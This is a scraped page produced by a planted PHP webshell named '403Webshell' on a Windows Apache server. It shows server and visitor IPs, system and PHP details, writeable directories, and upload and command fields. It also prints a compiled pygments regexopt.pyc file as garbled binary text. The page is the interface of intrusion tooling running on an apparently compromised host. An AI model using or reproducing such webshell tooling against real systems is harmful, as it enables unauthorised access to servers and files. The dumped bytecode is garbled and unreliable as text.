403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pip/_vendor/pygments/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pip/_vendor/pygments/__pycache__/regexopt.cpython-39.pyc
a

X��e�@sldZddlZddlmZddlmZddlmZddlmZe�	d�Z
ed�Zdd	�Zd
d�Z
dd
d�ZdS)a
    pygments.regexopt
    ~~~~~~~~~~~~~~~~~

    An algorithm that generates optimized regexes for matching long lists of
    literal strings.

    :copyright: Copyright 2006-2023 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�escape)�commonprefix)�groupby)�
itemgetterz[\[\^\\\-\]]cCsdt�dd�d�|��dS)N�[cSsd|��S)N�\)�group)�m�r
�A/usr/lib/python3.9/site-packages/pip/_vendor/pygments/regexopt.py�<lambda>�zmake_charset.<locals>.<lambda>��])�	CS_ESCAPE�sub�join)Zlettersr
r
r�make_charsetsrc		s�|rdp
d}|sdS|d�t|�dkr8|t��|S�sZ|t|dd�d�d|St��dkr�g}g}|D]&}t|�dkr�|�|�qr|�|�qrt|�dkr�|r�|t|d�dt|�|S|t|�|St|�}|�rt|��|t|�t�fd	d
�|D�d�|Sdd
�|D�}t|�}|�rpt|��|tt�fdd
�|D��d�t|ddd��|S|d�dd
�t|�fdd��D��|S)zEReturn a regex that matches any string in the sorted list of strings.�)rr�Nz(?:�?�|csg|]}|�d��qS�Nr
��.0�s)�plenr
r�
<listcomp>?r
z#regex_opt_inner.<locals>.<listcomp>cSsg|]}|ddd��qS)N���r
rr
r
rrBr
c3s|]}|d��VqdSrr
r)�slenr
r�	<genexpr>Hr
z"regex_opt_inner.<locals>.<genexpr>rcss |]}tt|d�d�VqdS)rrN)�regex_opt_inner�list)rrr
r
rr Ms�cs|d�dkS)Nrr
)r)�firstr
rrNr
z!regex_opt_inner.<locals>.<lambda>)	�lenrr!�appendrr�sortedrr)	�stringsZ
open_parenZclose_parenZ	oneletter�restr�prefixZstrings_rev�suffixr
)r#rrrr!sj����
�����
���r!rcCst|�}|t|d�|S)z�Return a compiled regex that matches any string in the given list.

    The strings to match must be literal strings, not regexes.  They will be
    regex-escaped.

    *prefix* and *suffix* are pre- and appended to the final regex.
    �()r&r!)r'r)r*r
r
r�	regex_optRsr,)rr)�__doc__�rerZos.pathr�	itertoolsr�operatorr�compilerZ
FIRST_ELEMENTrr!r,r
r
r
r�<module>s
8

Youez - 2016 - github.com/yon3zu
LinuXploit